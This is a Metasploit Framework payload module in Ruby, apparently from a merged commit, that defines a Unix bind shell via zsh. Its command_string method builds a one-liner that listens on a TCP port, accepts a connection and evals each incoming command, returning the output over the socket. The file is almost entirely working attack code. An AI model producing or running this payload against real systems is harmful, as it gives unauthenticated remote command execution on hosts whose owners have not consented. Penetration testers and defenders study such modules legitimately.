Land #1999, zsh bind shell
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit4
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',
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'Description' => %q{
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Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
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often available, please be aware it isn't usually installed by default.
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},
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'Author' =>
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[
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'Doug Prostko <dougtko[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'zsh',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = "zmodload zsh/net/tcp;"
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cmd << "ztcp -l #{datastore['LPORT']};"
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cmd << "ztcp -a $REPLY;"
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cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
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cmd << "ztcp -c"
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cmd
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end
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end
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